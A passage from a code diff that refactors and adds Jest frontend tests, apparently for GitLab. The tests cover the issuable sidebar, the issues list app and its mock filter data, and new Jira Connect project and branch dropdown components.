'component emits `%s` event with event object and issuableMeta params via issuable-body',
(eventName) => {
diff --git a/spec/frontend/issuable_sidebar/components/issuable_sidebar_root_spec.js b/spec/frontend/issuable_sidebar/components/issuable_sidebar_root_spec.js
index 62a0016d67b..c872925cca2 100644
--- a/spec/frontend/issuable_sidebar/components/issuable_sidebar_root_spec.js
+++ b/spec/frontend/issuable_sidebar/components/issuable_sidebar_root_spec.js
@@ -1,88 +1,80 @@
import { GlBreakpointInstance as bp } from '@gitlab/ui/dist/utils';
-import { shallowMount } from '@vue/test-utils';
import Cookies from 'js-cookie';
+import { shallowMountExtended } from 'helpers/vue_test_utils_helper';
import IssuableSidebarRoot from '~/issuable_sidebar/components/issuable_sidebar_root.vue';
+import { USER_COLLAPSED_GUTTER_COOKIE } from '~/issuable_sidebar/constants';
-const createComponent = (expanded = true) =>
- shallowMount(IssuableSidebarRoot, {
- propsData: {
- expanded,
- },
+const MOCK_LAYOUT_PAGE_CLASS = 'layout-page';
+
+const createComponent = () => {
+ setFixtures(`<div class="${MOCK_LAYOUT_PAGE_CLASS}"></div>`);
+
+ return shallowMountExtended(IssuableSidebarRoot, {
slots: {
'right-sidebar-items': `
<button class="js-todo">Todo</button>
`,
},
});
+};
describe('IssuableSidebarRoot', () => {
let wrapper;
- beforeEach(() => {
- wrapper = createComponent();
- });
+ const findToggleSidebarButton = () => wrapper.findByTestId('toggle-right-sidebar-button');
+
+ const assertPageLayoutClasses = ({ isExpanded }) => {
+ const { classList } = document.querySelector(`.${MOCK_LAYOUT_PAGE_CLASS}`);
+ if (isExpanded) {
+ expect(classList).toContain('right-sidebar-expanded');
+ expect(classList).not.toContain('right-sidebar-collapsed');
+ } else {
+ expect(classList).toContain('right-sidebar-collapsed');
+ expect(classList).not.toContain('right-sidebar-expanded');
+ }
+ };
afterEach(() => {
wrapper.destroy();
});
- describe('watch', () => {
- describe('isExpanded', () => {
- it('emits `sidebar-toggle` event on component', async () => {
- wrapper.setData({
- isExpanded: false,
- });
-
- await wrapper.vm.$nextTick();
-
- expect(wrapper.emitted('sidebar-toggle')).toBeTruthy();
- expect(wrapper.emitted('sidebar-toggle')[0]).toEqual([
- {
- expanded: false,
- },
- ]);
- });
- });
- });
+ describe('when sidebar is expanded', () => {
+ beforeEach(() => {
+ jest.spyOn(Cookies, 'set').mockImplementation(jest.fn());
+ jest.spyOn(Cookies, 'get').mockReturnValue(false);
+ jest.spyOn(bp, 'isDesktop').mockReturnValue(true);
- describe('methods', () => {
- describe('updatePageContainerClass', () => {
- beforeEach(() => {
- setFixtures('<div class="layout-page"></div>');
- });
+ wrapper = createComponent();
+ });
- it.each`
- isExpanded | layoutPageClass
- ${true} | ${'right-sidebar-expanded'}
- ${false} | ${'right-sidebar-collapsed'}
- `(
- 'set class $layoutPageClass to container element when `isExpanded` prop is $isExpanded',
- async ({ isExpanded, layoutPageClass }) => {
- wrapper.setData({
- isExpanded,
- });
+ it('renders component container element with class `right-sidebar-expanded`', () => {
+ expect(wrapper.classes()).toContain('right-sidebar-expanded');
+ });
- await wrapper.vm.$nextTick();
+ it('sets layout class to reflect expanded state', () => {
+ assertPageLayoutClasses({ isExpanded: true });
+ });
- wrapper.vm.updatePageContainerClass();
+ it('renders sidebar toggle button with text and icon', () => {
+ const buttonEl = findToggleSidebarButton();
- expect(document.querySelector('.layout-page').classList.contains(layoutPageClass)).toBe(
- true,
- );
- },
- );
+ expect(buttonEl.exists()).toBe(true);
+ expect(buttonEl.attributes('title')).toBe('Toggle sidebar');
+ expect(buttonEl.find('span').text()).toBe('Collapse sidebar');
+ expect(wrapper.findByTestId('icon-collapse').isVisible()).toBe(true);
});
- describe('handleWindowResize', () => {
- beforeEach(async () => {
- wrapper.setData({
- userExpanded: true,
- });
+ describe('when collapsing the sidebar', () => {
+ it('updates "collapsed_gutter" cookie value and layout classes', async () => {
+ await findToggleSidebarButton().trigger('click');
- await wrapper.vm.$nextTick();
+ expect(Cookies.set).toHaveBeenCalledWith(USER_COLLAPSED_GUTTER_COOKIE, true);
+ assertPageLayoutClasses({ isExpanded: false });
});
+ });
+ describe('when window `resize` event is triggered', () => {
it.each`
breakpoint | isExpandedValue
${'xs'} | ${false}
@@ -91,109 +83,49 @@ describe('IssuableSidebarRoot', () => {
${'lg'} | ${true}
${'xl'} | ${true}
`(
- 'sets `isExpanded` prop to $isExpandedValue only when current screen size is `lg` or `xl`',
+ 'sets page layout classes correctly when current screen size is `$breakpoint`',
async ({ breakpoint, isExpandedValue }) => {
jest.spyOn(bp, 'isDesktop').mockReturnValue(breakpoint === 'lg' || breakpoint === 'xl');
- wrapper.vm.handleWindowResize();
+ window.dispatchEvent(new Event('resize'));
+ await wrapper.vm.$nextTick();
- expect(wrapper.vm.isExpanded).toBe(isExpandedValue);
+ assertPageLayoutClasses({ isExpanded: isExpandedValue });
},
);
-
- it('calls `updatePageContainerClass` method', () => {
- jest.spyOn(wrapper.vm, 'updatePageContainerClass');
-
- wrapper.vm.handleWindowResize();
-
- expect(wrapper.vm.updatePageContainerClass).toHaveBeenCalled();
- });
- });
-
- describe('handleToggleSidebarClick', () => {
- beforeEach(async () => {
- jest.spyOn(Cookies, 'set').mockImplementation(jest.fn());
- wrapper.setData({
- isExpanded: true,
- });
-
- await wrapper.vm.$nextTick();
- });
-
- it('flips value of `isExpanded`', () => {
- wrapper.vm.handleToggleSidebarClick();
-
- expect(wrapper.vm.isExpanded).toBe(false);
- expect(wrapper.vm.userExpanded).toBe(false);
- });
-
- it('updates "collapsed_gutter" cookie value', () => {
- wrapper.vm.handleToggleSidebarClick();
-
- expect(Cookies.set).toHaveBeenCalledWith('collapsed_gutter', true);
- });
-
- it('calls `updatePageContainerClass` method', () => {
- jest.spyOn(wrapper.vm, 'updatePageContainerClass');
-
- wrapper.vm.handleWindowResize();
-
- expect(wrapper.vm.updatePageContainerClass).toHaveBeenCalled();
- });
});
});
- describe('template', () => {
- describe('sidebar expanded', () => {
- beforeEach(async () => {
- wrapper.setData({
- isExpanded: true,
- });
+ describe('when sidebar is collapsed', () => {
+ beforeEach(() => {
+ jest.spyOn(Cookies, 'get').mockReturnValue(true);
- await wrapper.vm.$nextTick();
- });
-
- it('renders component container element with class `right-sidebar-expanded` when `isExpanded` prop is true', () => {
- expect(wrapper.classes()).toContain('right-sidebar-expanded');
- });
-
- it('renders sidebar toggle button with text and icon', () => {
- const buttonEl = wrapper.find('button');
-
- expect(buttonEl.exists()).toBe(true);
- expect(buttonEl.attributes('title')).toBe('Toggle sidebar');
- expect(buttonEl.find('span').text()).toBe('Collapse sidebar');
- expect(buttonEl.find('[data-testid="icon-collapse"]').isVisible()).toBe(true);
- });
+ wrapper = createComponent();
});
- describe('sidebar collapsed', () => {
- beforeEach(async () => {
- wrapper.setData({
- isExpanded: false,
- });
-
- await wrapper.vm.$nextTick();
- });
+ it('renders component container element with class `right-sidebar-collapsed`', () => {
+ expect(wrapper.classes()).toContain('right-sidebar-collapsed');
+ });
- it('renders component container element with class `right-sidebar-collapsed` when `isExpanded` prop is false', () => {
- expect(wrapper.classes()).toContain('right-sidebar-collapsed');
- });
+ it('sets layout class to reflect collapsed state', () => {
+ assertPageLayoutClasses({ isExpanded: false });
+ });
- it('renders sidebar toggle button with text and icon', () => {
- const buttonEl = wrapper.find('button');
+ it('renders sidebar toggle button with text and icon', () => {
+ const buttonEl = findToggleSidebarButton();
- expect(buttonEl.exists()).toBe(true);
- expect(buttonEl.attributes('title')).toBe('Toggle sidebar');
- expect(buttonEl.find('[data-testid="icon-expand"]').isVisible()).toBe(true);
- });
+ expect(buttonEl.exists()).toBe(true);
+ expect(buttonEl.attributes('title')).toBe('Toggle sidebar');
+ expect(wrapper.findByTestId('icon-expand').isVisible()).toBe(true);
});
+ });
- it('renders sidebar items', () => {
- const sidebarItemsEl = wrapper.find('[data-testid="sidebar-items"]');
+ it('renders slotted sidebar items', () => {
+ wrapper = createComponent();
- expect(sidebarItemsEl.exists()).toBe(true);
- expect(sidebarItemsEl.find('button.js-todo').exists()).toBe(true);
- });
+ const sidebarItemsEl = wrapper.findByTestId('sidebar-items');
+
+ expect(sidebarItemsEl.exists()).toBe(true);
+ expect(sidebarItemsEl.find('button.js-todo').exists()).toBe(true);
});
});
diff --git a/spec/frontend/issuable_spec.js b/spec/frontend/issuable_spec.js
index 9c8f1e04609..e0bd7b802c9 100644
--- a/spec/frontend/issuable_spec.js
+++ b/spec/frontend/issuable_spec.js
@@ -1,5 +1,5 @@
+import issuableInitBulkUpdateSidebar from '~/issuable_bulk_update_sidebar/issuable_init_bulk_update_sidebar';
import IssuableIndex from '~/issuable_index';
-import issuableInitBulkUpdateSidebar from '~/issuable_init_bulk_update_sidebar';
describe('Issuable', () => {
describe('initBulkUpdate', () => {
diff --git a/spec/frontend/issues_list/components/issuables_list_app_spec.js b/spec/frontend/issues_list/components/issuables_list_app_spec.js
index a7f3dd81517..86112dad444 100644
--- a/spec/frontend/issues_list/components/issuables_list_app_spec.js
+++ b/spec/frontend/issues_list/components/issuables_list_app_spec.js
@@ -8,7 +8,7 @@ import axios from 'axios';
import MockAdapter from 'axios-mock-adapter';
import { TEST_HOST } from 'helpers/test_constants';
import waitForPromises from 'helpers/wait_for_promises';
-import { deprecatedCreateFlash as flash } from '~/flash';
+import createFlash from '~/flash';
import Issuable from '~/issues_list/components/issuable.vue';
import IssuablesListApp from '~/issues_list/components/issuables_list_app.vue';
import { PAGE_SIZE, PAGE_SIZE_MANUAL, RELATIVE_POSITION } from '~/issues_list/constants';
@@ -104,7 +104,7 @@ describe('Issuables list component', () => {
});
it('flashes an error', () => {
- expect(flash).toHaveBeenCalledTimes(1);
+ expect(createFlash).toHaveBeenCalledTimes(1);
});
});
diff --git a/spec/frontend/issues_list/components/issues_list_app_spec.js b/spec/frontend/issues_list/components/issues_list_app_spec.js
index a3ac57ee1bb..846236e1fb5 100644
--- a/spec/frontend/issues_list/components/issues_list_app_spec.js
+++ b/spec/frontend/issues_list/components/issues_list_app_spec.js
@@ -5,6 +5,7 @@ import { cloneDeep } from 'lodash';
import { nextTick } from 'vue';
import VueApollo from 'vue-apollo';
import getIssuesQuery from 'ee_else_ce/issues_list/queries/get_issues.query.graphql';
+import getIssuesCountQuery from 'ee_else_ce/issues_list/queries/get_issues_count.query.graphql';
import createMockApollo from 'helpers/mock_apollo_helper';
import { TEST_HOST } from 'helpers/test_constants';
import waitForPromises from 'helpers/wait_for_promises';
@@ -13,15 +14,16 @@ import {
filteredTokens,
locationSearch,
urlParams,
+ getIssuesCountQueryResponse,
} from 'jest/issues_list/mock_data';
import createFlash from '~/flash';
+import { convertToGraphQLId } from '~/graphql_shared/utils';
import CsvImportExportButtons from '~/issuable/components/csv_import_export_buttons.vue';
import IssuableByEmail from '~/issuable/components/issuable_by_email.vue';
import IssuableList from '~/issuable_list/components/issuable_list_root.vue';
import { IssuableListTabs, IssuableStates } from '~/issuable_list/constants';
import IssuesListApp from '~/issues_list/components/issues_list_app.vue';
import {
- apiSortParams,
CREATED_DESC,
DUE_DATE_OVERDUE,
PARAM_DUE_DATE,
@@ -55,19 +57,18 @@ describe('IssuesListApp component', () => {
localVue.use(VueApollo);
const defaultProvide = {
- autocompleteUsersPath: 'autocomplete/users/path',
calendarPath: 'calendar/path',
canBulkUpdate: false,
emptyStateSvgPath: 'empty-state.svg',
exportCsvPath: 'export/csv/path',
hasBlockedIssuesFeature: true,
hasIssueWeightsFeature: true,
+ hasIterationsFeature: true,
hasProjectIssues: true,
- isSignedIn: false,
+ isSignedIn: true,
issuesPath: 'path/to/issues',
jiraIntegrationPath: 'jira/integration/path',
newIssuePath: 'new/issue/path',
- projectLabelsPath: 'project/labels/path',
projectPath: 'path/to/project',
rssPath: 'rss/path',
showNewIssueLink: true,
@@ -77,7 +78,7 @@ describe('IssuesListApp component', () => {
let defaultQueryResponse = getIssuesQueryResponse;
if (IS_EE) {
defaultQueryResponse = cloneDeep(getIssuesQueryResponse);
- defaultQueryResponse.data.project.issues.nodes[0].blockedByCount = 1;
+ defaultQueryResponse.data.project.issues.nodes[0].blockingCount = 1;
defaultQueryResponse.data.project.issues.nodes[0].healthStatus = null;
defaultQueryResponse.data.project.issues.nodes[0].weight = 5;
}
@@ -93,10 +94,14 @@ describe('IssuesListApp component', () => {
const mountComponent = ({
provide = {},
- response = defaultQueryResponse,
+ issuesQueryResponse = jest.fn().mockResolvedValue(defaultQueryResponse),
+ issuesQueryCountResponse = jest.fn().mockResolvedValue(getIssuesCountQueryResponse),
mountFn = shallowMount,
} = {}) => {
- const requestHandlers = [[getIssuesQuery, jest.fn().mockResolvedValue(response)]];
+ const requestHandlers = [
+ [getIssuesQuery, issuesQueryResponse],
+ [getIssuesCountQuery, issuesQueryCountResponse],
+ ];
const apolloProvider = createMockApollo(requestHandlers);
return mountFn(IssuesListApp, {
@@ -137,8 +142,8 @@ describe('IssuesListApp component', () => {
currentTab: IssuableStates.Opened,
tabCounts: {
opened: 1,
- closed: undefined,
- all: undefined,
+ closed: 1,
+ all: 1,
},
issuablesLoading: false,
isManualOrdering: false,
@@ -148,8 +153,8 @@ describe('IssuesListApp component', () => {
hasPreviousPage: getIssuesQueryResponse.data.project.issues.pageInfo.hasPreviousPage,
hasNextPage: getIssuesQueryResponse.data.project.issues.pageInfo.hasNextPage,
urlParams: {
+ sort: urlSortParams[CREATED_DESC],
state: IssuableStates.Opened,
- ...urlSortParams[CREATED_DESC],
},
});
});
@@ -178,7 +183,7 @@ describe('IssuesListApp component', () => {
describe('csv import/export component', () => {
describe('when user is signed in', () => {
- const search = '?search=refactor&state=opened&sort=created_date';
+ const search = '?search=refactor&sort=created_date&state=opened';
beforeEach(() => {
global.jsdom.reconfigure({ url: `${TEST_HOST}${search}` });
@@ -273,13 +278,17 @@ describe('IssuesListApp component', () => {
describe('sort', () => {
it.each(Object.keys(urlSortParams))('is set as %s from the url params', (sortKey) => {
- global.jsdom.reconfigure({ url: setUrlParams(urlSortParams[sortKey], TEST_HOST) });
+ global.jsdom.reconfigure({
+ url: setUrlParams({ sort: urlSortParams[sortKey] }, TEST_HOST),
+ });
wrapper = mountComponent();
expect(findIssuableList().props()).toMatchObject({
initialSortBy: sortKey,
- urlParams: urlSortParams[sortKey],
+ urlParams: {
+ sort: urlSortParams[sortKey],
+ },
});
});
});
@@ -542,9 +551,13 @@ describe('IssuesListApp component', () => {
});
it('renders all tokens', () => {
+ const preloadedAuthors = [
+ { ...mockCurrentUser, id: convertToGraphQLId('User', mockCurrentUser.id) },
+ ];
+
expect(findIssuableList().props('searchTokens')).toMatchObject([
- { type: TOKEN_TYPE_AUTHOR, preloadedAuthors: [mockCurrentUser] },
- { type: TOKEN_TYPE_ASSIGNEE, preloadedAuthors: [mockCurrentUser] },
+ { type: TOKEN_TYPE_AUTHOR, preloadedAuthors },
+ { type: TOKEN_TYPE_ASSIGNEE, preloadedAuthors },
{ type: TOKEN_TYPE_MILESTONE },
{ type: TOKEN_TYPE_LABEL },
{ type: TOKEN_TYPE_MY_REACTION },
@@ -557,6 +570,29 @@ describe('IssuesListApp component', () => {
});
});
+ describe('errors', () => {
+ describe.each`
+ error | mountOption | message
+ ${'fetching issues'} | ${'issuesQueryResponse'} | ${IssuesListApp.i18n.errorFetchingIssues}
+ ${'fetching issue counts'} | ${'issuesQueryCountResponse'} | ${IssuesListApp.i18n.errorFetchingCounts}
+ `('when there is an error $error', ({ mountOption, message }) => {
+ beforeEach(() => {
+ wrapper = mountComponent({
+ [mountOption]: jest.fn().mockRejectedValue(new Error('ERROR')),
+ });
+ jest.runOnlyPendingTimers();
+ });
+
+ it('shows an error message', () => {
+ expect(createFlash).toHaveBeenCalledWith({
+ captureError: true,
+ error: new Error('Network error: ERROR'),
+ message,
+ });
+ });
+ });
+ });
+
describe('events', () => {
describe('when "click-tab" event is emitted by IssuableList', () => {
beforeEach(() => {
@@ -622,7 +658,7 @@ describe('IssuesListApp component', () => {
};
beforeEach(() => {
- wrapper = mountComponent({ response });
+ wrapper = mountComponent({ issuesQueryResponse: jest.fn().mockResolvedValue(response) });
jest.runOnlyPendingTimers();
});
@@ -640,7 +676,7 @@ describe('IssuesListApp component', () => {
});
describe('when "sort" event is emitted by IssuableList', () => {
- it.each(Object.keys(apiSortParams))(
+ it.each(Object.keys(urlSortParams))(
'updates to the new sort when payload is `%s`',
async (sortKey) => {
wrapper = mountComponent();
@@ -650,7 +686,9 @@ describe('IssuesListApp component', () => {
jest.runOnlyPendingTimers();
await nextTick();
- expect(findIssuableList().props('urlParams')).toMatchObject(urlSortParams[sortKey]);
+ expect(findIssuableList().props('urlParams')).toMatchObject({
+ sort: urlSortParams[sortKey],
+ });
},
);
});
diff --git a/spec/frontend/issues_list/mock_data.js b/spec/frontend/issues_list/mock_data.js
index 6c669e02070..fd59241fd1d 100644
--- a/spec/frontend/issues_list/mock_data.js
+++ b/spec/frontend/issues_list/mock_data.js
@@ -7,9 +7,8 @@ export const getIssuesQueryResponse = {
data: {
project: {
issues: {
- count: 1,
pageInfo: {
- hasNextPage: false,
+ hasNextPage: true,
hasPreviousPage: false,
startCursor: 'startcursor',
endCursor: 'endcursor',
@@ -70,6 +69,16 @@ export const getIssuesQueryResponse = {
},
};
+export const getIssuesCountQueryResponse = {
+ data: {
+ project: {
+ issues: {
+ count: 1,
+ },
+ },
+ },
+};
+
export const locationSearch = [
'?search=find+issues',
'author_username=homer',
@@ -86,10 +95,10 @@ export const locationSearch = [
'not[label_name][]=drama',
'my_reaction_emoji=thumbsup',
'confidential=no',
- 'iteration_title=season:+%234',
- 'not[iteration_title]=season:+%2320',
- 'epic_id=gitlab-org%3A%3A%2612',
- 'not[epic_id]=gitlab-org%3A%3A%2634',
+ 'iteration_id=4',
+ 'not[iteration_id]=20',
+ 'epic_id=12',
+ 'not[epic_id]=34',
'weight=1',
'not[weight]=3',
].join('&');
@@ -118,10 +127,10 @@ export const filteredTokens = [
{ type: 'labels', value: { data: 'drama', operator: OPERATOR_IS_NOT } },
{ type: 'my_reaction_emoji', value: { data: 'thumbsup', operator: OPERATOR_IS } },
{ type: 'confidential', value: { data: 'no', operator: OPERATOR_IS } },
- { type: 'iteration', value: { data: 'season: #4', operator: OPERATOR_IS } },
- { type: 'iteration', value: { data: 'season: #20', operator: OPERATOR_IS_NOT } },
- { type: 'epic_id', value: { data: 'gitlab-org::&12', operator: OPERATOR_IS } },
- { type: 'epic_id', value: { data: 'gitlab-org::&34', operator: OPERATOR_IS_NOT } },
+ { type: 'iteration', value: { data: '4', operator: OPERATOR_IS } },
+ { type: 'iteration', value: { data: '20', operator: OPERATOR_IS_NOT } },
+ { type: 'epic_id', value: { data: '12', operator: OPERATOR_IS } },
+ { type: 'epic_id', value: { data: '34', operator: OPERATOR_IS_NOT } },
{ type: 'weight', value: { data: '1', operator: OPERATOR_IS } },
{ type: 'weight', value: { data: '3', operator: OPERATOR_IS_NOT } },
{ type: 'filtered-search-term', value: { data: 'find' } },
@@ -138,30 +147,32 @@ export const filteredTokensWithSpecialValues = [
];
export const apiParams = {
- author_username: 'homer',
- 'not[author_username]': 'marge',
- assignee_username: ['bart', 'lisa'],
- 'not[assignee_username]': ['patty', 'selma'],
- milestone: 'season 4',
- 'not[milestone]': 'season 20',
- labels: ['cartoon', 'tv'],
- 'not[labels]': ['live action', 'drama'],
- my_reaction_emoji: 'thumbsup',
+ authorUsername: 'homer',
+ assigneeUsernames: ['bart', 'lisa'],
+ milestoneTitle: 'season 4',
+ labelName: ['cartoon', 'tv'],
+ myReactionEmoji: 'thumbsup',
confidential: 'no',
- iteration_title: 'season: #4',
- 'not[iteration_title]': 'season: #20',
- epic_id: '12',
- 'not[epic_id]': 'gitlab-org::&34',
+ iterationId: '4',
+ epicId: '12',
weight: '1',
- 'not[weight]': '3',
+ not: {
+ authorUsername: 'marge',
+ assigneeUsernames: ['patty', 'selma'],
+ milestoneTitle: 'season 20',
+ labelName: ['live action', 'drama'],
+ iterationId: '20',
+ epicId: '34',
+ weight: '3',
+ },
};
export const apiParamsWithSpecialValues = {
- assignee_id: '123',
- assignee_username: 'bart',
- my_reaction_emoji: 'None',
- iteration_id: 'Current',
- epic_id: 'None',
+ assigneeId: '123',
+ assigneeUsernames: 'bart',
+ myReactionEmoji: 'None',
+ iterationWildcardId: 'CURRENT',
+ epicId: 'None',
weight: 'None',
};
@@ -176,10 +187,10 @@ export const urlParams = {
'not[label_name][]': ['live action', 'drama'],
my_reaction_emoji: 'thumbsup',
confidential: 'no',
- iteration_title: 'season: #4',
- 'not[iteration_title]': 'season: #20',
- epic_id: 'gitlab-org%3A%3A%2612',
- 'not[epic_id]': 'gitlab-org::&34',
+ iteration_id: '4',
+ 'not[iteration_id]': '20',
+ epic_id: '12',
+ 'not[epic_id]': '34',
weight: '1',
'not[weight]': '3',
};
diff --git a/spec/frontend/issues_list/utils_spec.js b/spec/frontend/issues_list/utils_spec.js
index e377c35a0aa..b7863068570 100644
--- a/spec/frontend/issues_list/utils_spec.js
+++ b/spec/frontend/issues_list/utils_spec.js
@@ -8,10 +8,11 @@ import {
urlParams,
urlParamsWithSpecialValues,
} from 'jest/issues_list/mock_data';
-import { API_PARAM, DUE_DATE_VALUES, URL_PARAM, urlSortParams } from '~/issues_list/constants';
+import { DUE_DATE_VALUES, urlSortParams } from '~/issues_list/constants';
import {
- convertToParams,
+ convertToApiParams,
convertToSearchQuery,
+ convertToUrlParams,
getDueDateValue,
getFilterTokens,
getSortKey,
@@ -20,7 +21,7 @@ import {
describe('getSortKey', () => {
it.each(Object.keys(urlSortParams))('returns %s given the correct inputs', (sortKey) => {
- const { sort } = urlSortParams[sortKey];
+ const sort = urlSortParams[sortKey];
expect(getSortKey(sort)).toBe(sortKey);
});
});
@@ -80,31 +81,23 @@ describe('getFilterTokens', () => {
});
});
-describe('convertToParams', () => {
+describe('convertToApiParams', () => {
it('returns api params given filtered tokens', () => {
- expect(convertToParams(filteredTokens, API_PARAM)).toEqual({
- ...apiParams,
- epic_id: 'gitlab-org::&12',
- });
+ expect(convertToApiParams(filteredTokens)).toEqual(apiParams);
});
it('returns api params given filtered tokens with special values', () => {
- expect(convertToParams(filteredTokensWithSpecialValues, API_PARAM)).toEqual(
- apiParamsWithSpecialValues,
- );
+ expect(convertToApiParams(filteredTokensWithSpecialValues)).toEqual(apiParamsWithSpecialValues);
});
+});
+describe('convertToUrlParams', () => {
it('returns url params given filtered tokens', () => {
- expect(convertToParams(filteredTokens, URL_PARAM)).toEqual({
- ...urlParams,
- epic_id: 'gitlab-org::&12',
- });
+ expect(convertToUrlParams(filteredTokens)).toEqual(urlParams);
});
it('returns url params given filtered tokens with special values', () => {
- expect(convertToParams(filteredTokensWithSpecialValues, URL_PARAM)).toEqual(
- urlParamsWithSpecialValues,
- );
+ expect(convertToUrlParams(filteredTokensWithSpecialValues)).toEqual(urlParamsWithSpecialValues);
});
});
diff --git a/spec/frontend/jira_connect/branches/components/project_dropdown_spec.js b/spec/frontend/jira_connect/branches/components/project_dropdown_spec.js
new file mode 100644
index 00000000000..ec4cb2739f8
--- /dev/null
+++ b/spec/frontend/jira_connect/branches/components/project_dropdown_spec.js
@@ -0,0 +1,180 @@
+import { GlDropdown, GlDropdownItem, GlLoadingIcon, GlSearchBoxByType } from '@gitlab/ui';
+import { mount, shallowMount, createLocalVue } from '@vue/test-utils';
+import VueApollo from 'vue-apollo';
+import createMockApollo from 'helpers/mock_apollo_helper';
+import waitForPromises from 'helpers/wait_for_promises';
+import ProjectDropdown from '~/jira_connect/branches/components/project_dropdown.vue';
+import { PROJECTS_PER_PAGE } from '~/jira_connect/branches/constants';
+import getProjectsQuery from '~/jira_connect/branches/graphql/queries/get_projects.query.graphql';
+
+const localVue = createLocalVue();
+
+const mockProjects = [
+ {
+ id: 'test',
+ name: 'test',
+ nameWithNamespace: 'test',
+ avatarUrl: 'https://gitlab.com',
+ path: 'test-path',
+ fullPath: 'test-path',
+ repository: {
+ empty: false,
+ },
+ },
+ {
+ id: 'gitlab',
+ name: 'GitLab',
+ nameWithNamespace: 'gitlab-org/gitlab',
+ avatarUrl: 'https://gitlab.com',
+ path: 'gitlab',
+ fullPath: 'gitlab-org/gitlab',
+ repository: {
+ empty: false,
+ },
+ },
+];
+
+const mockProjectsQueryResponse = {
+ data: {
+ projects: {
+ nodes: mockProjects,
+ pageInfo: {
+ hasNextPage: false,
+ hasPreviousPage: false,
+ startCursor: '',
+ endCursor: '',
+ },
+ },
+ },
+};
+const mockGetProjectsQuerySuccess = jest.fn().mockResolvedValue(mockProjectsQueryResponse);
+const mockGetProjectsQueryFailed = jest.fn().mockRejectedValue(new Error('GraphQL error'));
+const mockQueryLoading = jest.fn().mockReturnValue(new Promise(() => {}));
+
+describe('ProjectDropdown', () => {
+ let wrapper;
+
+ const findDropdown = () => wrapper.findComponent(GlDropdown);
+ const findAllDropdownItems = () => wrapper.findAllComponents(GlDropdownItem);
+ const findLoadingIcon = () => wrapper.findComponent(GlLoadingIcon);
+ const findDropdownItemByText = (text) =>
+ findAllDropdownItems().wrappers.find((item) => item.text() === text);
+ const findSearchBox = () => wrapper.findComponent(GlSearchBoxByType);
+
+ function createMockApolloProvider({ mockGetProjectsQuery = mockGetProjectsQuerySuccess } = {}) {
+ localVue.use(VueApollo);
+
+ const mockApollo = createMockApollo([[getProjectsQuery, mockGetProjectsQuery]]);
+
+ return mockApollo;
+ }
+
+ function createComponent({ mockApollo, props, mountFn = shallowMount } = {}) {
+ wrapper = mountFn(ProjectDropdown, {
+ localVue,
+ apolloProvider: mockApollo || createMockApolloProvider(),
+ propsData: props,
+ });
+ }
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ describe('when loading projects', () => {
+ beforeEach(() => {
+ createComponent({
+ mockApollo: createMockApolloProvider({ mockGetProjectsQuery: mockQueryLoading }),
+ });
+ });
+
+ it('sets dropdown `loading` prop to `true`', () => {
+ expect(findDropdown().props('loading')).toBe(true);
+ });
+
+ it('renders loading icon in dropdown', () => {
+ expect(findLoadingIcon().isVisible()).toBe(true);
+ });
+ });
+
+ describe('when projects query succeeds', () => {
+ beforeEach(async () => {
+ createComponent();
+ await waitForPromises();
+ await wrapper.vm.$nextTick();
+ });
+
+ it('sets dropdown `loading` prop to `false`', () => {
+ expect(findDropdown().props('loading')).toBe(false);
+ });
+
+ it('renders dropdown items', () => {
+ const dropdownItems = findAllDropdownItems();
+ expect(dropdownItems.wrappers).toHaveLength(mockProjects.length);
+ expect(dropdownItems.wrappers.map((item) => item.text())).toEqual(
+ mockProjects.map((project) => project.nameWithNamespace),
+ );
+ });
+
+ describe('when selecting a dropdown item', () => {
+ it('emits `change` event with the selected project name', async () => {
+ const mockProject = mockProjects[0];
+ const itemToSelect = findDropdownItemByText(mockProject.nameWithNamespace);
+ await itemToSelect.vm.$emit('click');
+
+ expect(wrapper.emitted('change')[0]).toEqual([mockProject]);
+ });
+ });
+
+ describe('when `selectedProject` prop is specified', () => {
+ const mockProject = mockProjects[0];
+
+ beforeEach(async () => {
+ wrapper.setProps({
+ selectedProject: mockProject,
+ });
+ });
+
+ it('sets `isChecked` prop of the corresponding dropdown item to `true`', () => {
+ expect(findDropdownItemByText(mockProject.nameWithNamespace).props('isChecked')).toBe(true);
+ });
+
+ it('sets dropdown text to `selectedBranchName` value', () => {
+ expect(findDropdown().props('text')).toBe(mockProject.nameWithNamespace);
+ });
+ });
+ });
+
+ describe('when projects query fails', () => {
+ beforeEach(async () => {
+ createComponent({
+ mockApollo: createMockApolloProvider({ mockGetProjectsQuery: mockGetProjectsQueryFailed }),
+ });
+ await waitForPromises();
+ });
+
+ it('emits `error` event', () => {
+ expect(wrapper.emitted('error')).toBeTruthy();
+ });
+ });
+
+ describe('when searching branches', () => {
+ it('triggers a refetch', async () => {
+ createComponent({ mountFn: mount });
+ await waitForPromises();
+ jest.clearAllMocks();
+
+ const mockSearchTerm = 'gitl';
+ await findSearchBox().vm.$emit('input', mockSearchTerm);
+
+ expect(mockGetProjectsQuerySuccess).toHaveBeenCalledWith({
+ after: '',
+ first: PROJECTS_PER_PAGE,
+ membership: true,
+ search: mockSearchTerm,
+ searchNamespaces: true,
+ sort: 'similarity',
+ });
+ });
+ });
+});
diff --git a/spec/frontend/jira_connect/branches/components/source_branch_dropdown_spec.js b/spec/frontend/jira_connect/branches/components/source_branch_dropdown_spec.js
new file mode 100644
index 00000000000..9dd11dd6345
--- /dev/null
+++ b/spec/frontend/jira_connect/branches/components/source_branch_dropdown_spec.js
@@ -0,0 +1,192 @@
+import { GlDropdown, GlDropdownItem, GlLoadingIcon, GlSearchBoxByType } from '@gitlab/ui';
+import { mount, shallowMount, createLocalVue } from '@vue/test-utils';
+import VueApollo from 'vue-apollo';
+import createMockApollo from 'helpers/mock_apollo_helper';
+import waitForPromises from 'helpers/wait_for_promises';
+import SourceBranchDropdown from '~/jira_connect/branches/components/source_branch_dropdown.vue';
+import { BRANCHES_PER_PAGE } from '~/jira_connect/branches/constants';
+import getProjectQuery from '~/jira_connect/branches/graphql/queries/get_project.query.graphql';
+
+const localVue = createLocalVue();
+
+const mockProject = {
+ id: 'test',
+ fullPath: 'test-path',
+ repository: {
+ branchNames: ['main', 'f-test', 'release'],
+ rootRef: 'main',
+ },
+};
+
+const mockProjectQueryResponse = {
+ data: {
+ project: mockProject,
+ },
+};
+const mockGetProjectQuery = jest.fn().mockResolvedValue(mockProjectQueryResponse);
+const mockQueryLoading = jest.fn().mockReturnValue(new Promise(() => {}));
+
+describe('SourceBranchDropdown', () => {
+ let wrapper;
+
+ const findDropdown = () => wrapper.findComponent(GlDropdown);
+ const findAllDropdownItems = () => wrapper.findAllComponents(GlDropdownItem);
